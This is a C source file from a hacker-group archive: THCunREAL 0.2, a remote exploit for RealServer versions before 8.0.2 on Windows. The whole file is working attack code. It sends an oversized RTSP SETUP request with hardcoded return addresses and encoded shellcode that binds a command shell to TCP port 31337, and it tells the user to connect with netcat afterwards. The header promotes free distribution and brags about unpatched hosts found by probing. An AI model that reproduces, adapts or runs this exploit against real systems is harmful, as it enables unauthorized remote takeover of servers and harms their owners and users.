Update README.md
[oweals/thc-archive.git] / Exploits / THCunREAL.c
1 /*****************************************************************************/\r
2 /* THCunREAL 0.2 - Wind0wZ remote root exploit                               */\r
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */\r
4 /* THC PUBLIC SOURCE MATERIALS                                               */\r
5 /*                                                                           */\r
6 /* The exploit can be freely distributed !                                   */\r
7 /*                                                                           */\r
8 /* This is the much more reliable version of the Realserver < 8.0.2 exploit  */\r
9 /* Tested with different OSes and Realserver Versions                        */\r
10 /*                                                                           */\r
11 /* While probing lot's of boxes via 'OPTIONS / RTSP/1.0' on TCP port 554     */\r
12 /* i noticed that 99% of the probed machines are not up2date yet ! =;O)      */\r
13 /*                                                                           */\r
14 /* The shellcode is much shorter than the one in version 0.1 now and of      */\r
15 /* course offsetless ! The encoder in front of the exploit is needed coz the */\r
16 /* shellcode has next to 0x00,0x0d,0x0a also to be 0x20 and 0xff free !      */\r
17 /*                                                                           */\r
18 /* After successful exploitation of this bug, a commandshell should spawn on */\r
19 /* TCP port 31337 ! Use netcat to connect to this port !                     */\r
20 /*                                                                           */\r
21 /* If there's no connectable port 31337, maybe it's blocked by a firewall !  */\r
22 /*                                                                           */\r
23 /* Unfortunately i hadn't a Linux/Sparc or whatever Platform Realserver 8    */\r
24 /* runs on. I just know it's also exploitable on other OSs !                 */\r
25 /* So if u wanna exploit other platforms, try to get Realserver 8 and use    */\r
26 /* gdb to find out, how this can be exploited ! Good luck !                  */\r
27 /*                                                                           */\r
28 /* compile with MS Visual C++ : cl THCunREAL.c /link ws2_32.lib              */\r
29 /*                                                                           */\r
30 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
31 /* scut, stealth, zip, zilvio and the rest of the combo ......               */\r
32 /*****************************************************************************/\r
33 \r
34 #include <stdio.h>\r
35 #include <stdlib.h>\r
36 #include <string.h>\r
37 #include <winsock2.h>\r
38 \r
39 char w32portshell[] =\r
40 "\x8b\xfa\x33\xc9\xb2\x35\x90\x90\x90\x66\x81\xc1\x38\x01\x83"\r
41 "\xc7\x1a\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16\x4f\x5c"\r
42 "\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1\x36\xc5"\r
43 "\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71\x79\x79"\r
44 "\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f\x05\x6c"\r
45 "\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d\xb8\x6a"\r
46 "\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29\x34\xcc"\r
47 "\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce\x04\xfc"\r
48 "\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4\xd7\xb1"\r
49 "\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c\x25\x40"\r
50 "\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25\x74\x3a"\r
51 "\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc\x71\xb8"\r
52 "\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78\x17\xb8"\r
53 "\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30\xb5\x70"\r
54 "\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca\xca\xbc"\r
55 "\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2\x60\x6d"\r
56 "\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62\xca\x60"\r
57 "\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca\x60\xd1"\r
58 "\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b\x50\x4d"\r
59 "\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1\x62\x62"\r
60 "\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65\xb8\x70"\r
61 "\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66\x66\x60"\r
62 "\xca\x60\xd9\x5f\xca\xca\x60\xd5";\r
63 \r
64 void usage();\r
65 \r
66 int main(int argc, char *argv[])\r
67 {  \r
68   unsigned short realport=554;\r
69   unsigned int sock,addr,i,rc;\r
70   unsigned char exploit_buffer[4132];\r
71   unsigned long retloc1,retloc2,retaddr;\r
72   struct sockaddr_in mytcp;\r
73   struct hostent * hp;\r
74   WSADATA wsaData;\r
75 \r
76   printf("\nTHCunREAL v0.2 - Wind0wZ remote root sploit for Realserver < 8.0.2\n");\r
77   printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");\r
78 \r
79   if(argc<2)\r
80    usage();\r
81 \r
82  retloc1 = 0x6235108c; \r
83  retloc2 = 0x623514b6;\r
84  retaddr = 0x62354f5e;\r
85 \r
86  memset(exploit_buffer,'Z',4131);\r
87  memcpy(exploit_buffer,"SETUP /",7);\r
88  *(unsigned long *)&exploit_buffer[4082] = retloc1;\r
89  *(unsigned long *)&exploit_buffer[4086] = retloc2;\r
90  memcpy(&exploit_buffer[7],w32portshell,strlen(w32portshell));\r
91  *(unsigned long *)&exploit_buffer[4090] = retaddr;\r
92  memcpy(&exploit_buffer[4094],"\x83\xc2\x19\x52\xc3",5);\r
93  memcpy(&exploit_buffer[4099]," RTSP/1.0\r\nTransport: THCr0x!\r\n\r\n",33);\r
94  \r
95   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
96   {\r
97    printf("WSAStartup failed !\n");\r
98    exit(-1);\r
99   }\r
100   \r
101   hp = gethostbyname(argv[1]);\r
102 \r
103   if (!hp){\r
104    addr = inet_addr(argv[1]);\r
105   }\r
106   if ((!hp)  && (addr == INADDR_NONE) )\r
107   {\r
108    printf("Unable to resolve %s\n",argv[1]);\r
109    exit(-1);\r
110   }\r
111 \r
112   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
113   if (!sock)\r
114   { \r
115    printf("socket() error...\n");\r
116    exit(-1);\r
117   }\r
118   \r
119   if (hp != NULL)\r
120    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);\r
121   else\r
122    mytcp.sin_addr.s_addr = addr;\r
123 \r
124   if (hp)\r
125    mytcp.sin_family = hp->h_addrtype;\r
126   else\r
127    mytcp.sin_family = AF_INET;\r
128 \r
129   mytcp.sin_port=htons(realport);\r
130  \r
131   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));\r
132   if(rc==0)\r
133   {\r
134     send(sock,exploit_buffer,4131,0);\r
135     printf("\nexploit send .... sleeping a while ....\n");\r
136     Sleep(1000);\r
137     printf("\nok ... now try to connect to port 31337 via netcat !\n");\r
138   }\r
139   else\r
140    printf("can't connect to realserver port!\n");\r
141   \r
142   shutdown(sock,1);\r
143   closesocket(sock);\r
144   exit(0);\r
145 }\r
146  \r
147 void usage()\r
148 {\r
149  printf("\nUsage:  <Host>\n");\r
150  exit(0);\r
151 }\r